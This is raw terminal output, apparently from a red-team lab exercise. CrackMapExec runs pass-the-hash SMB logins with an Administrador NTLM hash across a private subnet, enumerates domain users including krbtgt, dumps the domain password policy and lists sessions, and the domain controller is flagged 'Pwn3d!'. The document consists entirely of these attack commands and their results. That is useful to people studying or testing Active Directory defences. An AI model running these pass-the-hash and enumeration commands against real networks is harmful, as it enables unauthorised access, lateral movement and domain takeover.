# poetry run crackmapexec smb 10.0.2.0/24 -u Administrador -H aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591 --users
SMB 10.0.2.2 445 DESKTOP-30M1UOD [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-30M1UOD) (domain:DESKTOP-30M1UOD) (signing:False) (SMBv1:False)
SMB 10.0.2.100 445 PDC [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:PDC) (domain:empresa.local) (signing:True) (SMBv1:True)
SMB 10.0.2.30 445 PC1 [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB 10.0.2.102 445 PC1 [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB 10.0.2.101 445 HETEAM [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HETEAM) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB 10.0.2.2 445 DESKTOP-30M1UOD [-] DESKTOP-30M1UOD\Administrador:54adc306bd846b33d621df79eb237591 STATUS_LOGON_FAILURE
SMB 10.0.2.100 445 PDC [+] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 (Pwn3d!)
SMB 10.0.2.30 445 PC1 [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB 10.0.2.102 445 PC1 [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB 10.0.2.101 445 HETEAM [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_NO_LOGON_SERVERS
SMB 10.0.2.100 445 PDC [+] Enumerated domain user(s)
SMB 10.0.2.100 445 PDC empresa.local\bob badpwdcount: 0 desc:
SMB 10.0.2.100 445 PDC empresa.local\master badpwdcount: 0 desc:
SMB 10.0.2.100 445 PDC empresa.local\usuario badpwdcount: 0 desc:
SMB 10.0.2.100 445 PDC empresa.local\krbtgt badpwdcount: 0 desc: Cuenta de servicio de centro de distribución de claves
SMB 10.0.2.100 445 PDC empresa.local\Invitado badpwdcount: 0 desc: Cuenta integrada para el acceso como invitado al equipo o dominio
SMB 10.0.2.100 445 PDC empresa.local\Administrador badpwdcount: 0 desc: Cuenta integrada para la administración del equipo o dominio
```

```

(root@kali)-[/home/veronica/Documentos/red_team/CrackMapExec]
# poetry run crackmapexec smb 10.0.2.0/24 -u Administrador -H aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591 --pass-pol
SMB 10.0.2.102 445 PC1 [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB 10.0.2.30 445 PC1 [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB 10.0.2.100 445 PDC [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:PDC) (domain:empresa.local) (signing:True) (SMBv1:True)
SMB 10.0.2.101 445 HETEAM [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HETEAM) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB 10.0.2.2 445 DESKTOP-30M1UOD [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-30M1UOD) (domain:DESKTOP-30M1UOD) (signing:False) (SMBv1:False)
SMB 10.0.2.102 445 PC1 [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB 10.0.2.30 445 PC1 [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB 10.0.2.100 445 PDC [+] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 (Pwn3d!)
SMB 10.0.2.100 445 PDC [+] Dumping password info for domain: EMPRESA
SMB 10.0.2.100 445 PDC Minimum password length: 7
SMB 10.0.2.100 445 PDC Password history length: 24
SMB 10.0.2.100 445 PDC Maximum password age: 41 days 23 hours 53 minutes
SMB 10.0.2.100 445 PDC Password Complexity Flags: 000001
SMB 10.0.2.100 445 PDC 0x Domain Refuse Password Change: 0
SMB 10.0.2.100 445 PDC Domain Password Store Cleartext: 0
SMB 10.0.2.100 445 PDC Domain Password Lockout Admins: 0
SMB 10.0.2.100 445 PDC Domain Password No Clear Change: 0
SMB 10.0.2.100 445 PDC Domain Password No Anon Change: 0
SMB 10.0.2.100 445 PDC Domain Password Complex: 1
SMB 10.0.2.100 445 PDC Minimum password age: 1 day 4 minutes
SMB 10.0.2.100 445 PDC Reset Account Lockout Counter: 30 minutes
SMB 10.0.2.100 445 PDC Locked Account Duration: 30 minutes
SMB 10.0.2.100 445 PDC Account Lockout Threshold: None
SMB 10.0.2.100 445 PDC Forced Log off Time: Not Set
SMB 10.0.2.101 445 HETEAM [-] Connection Error: The NETBIOS connection with the remote host timed out.
SMB 10.0.2.2 445 DESKTOP-30M1UOD [-] DESKTOP-30M1UOD\Administrador:54adc306bd846b33d621df79eb237591 STATUS_LOGON_FAILURE

```

```

(root@kali)-[/home/veronica/Documentos/red_team/CrackMapExec]
# poetry run crackmapexec smb 10.0.2.0/24 -u Administrador -H aad3b435b51404eeaad3b435b51404ee:54adc306bd846b33d621df79eb237591 --sessions
SMB 10.0.2.101 445 HETEAM [*] Windows 7 Professional 7601 Service Pack 1 x64 (name:HETEAM) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB 10.0.2.30 445 PC1 [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB 10.0.2.100 445 PDC [*] Windows Server 2012 R2 Standard Evaluation 9600 x64 (name:PDC) (domain:empresa.local) (signing:True) (SMBv1:True)
SMB 10.0.2.2 445 DESKTOP-30M1UOD [*] Windows 10.0 Build 19041 x64 (name:DESKTOP-30M1UOD) (domain:DESKTOP-30M1UOD) (signing:False) (SMBv1:False)
SMB 10.0.2.102 445 PC1 [*] Windows 10 Enterprise Evaluation 17763 x64 (name:PC1) (domain:empresa.local) (signing:False) (SMBv1:True)
SMB 10.0.2.101 445 HETEAM [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_NO_LOGON_SERVERS
SMB 10.0.2.30 445 PC1 [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB 10.0.2.100 445 PDC [+] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 (Pwn3d!)
SMB 10.0.2.2 445 DESKTOP-30M1UOD [-] DESKTOP-30M1UOD\Administrador:54adc306bd846b33d621df79eb237591 STATUS_LOGON_FAILURE
SMB 10.0.2.102 445 PC1 [-] empresa.local\Administrador:54adc306bd846b33d621df79eb237591 STATUS_TRUSTED_RELATIONSHIP_FAILURE
SMB 10.0.2.100 445 PDC [+] Enumerated sessions

```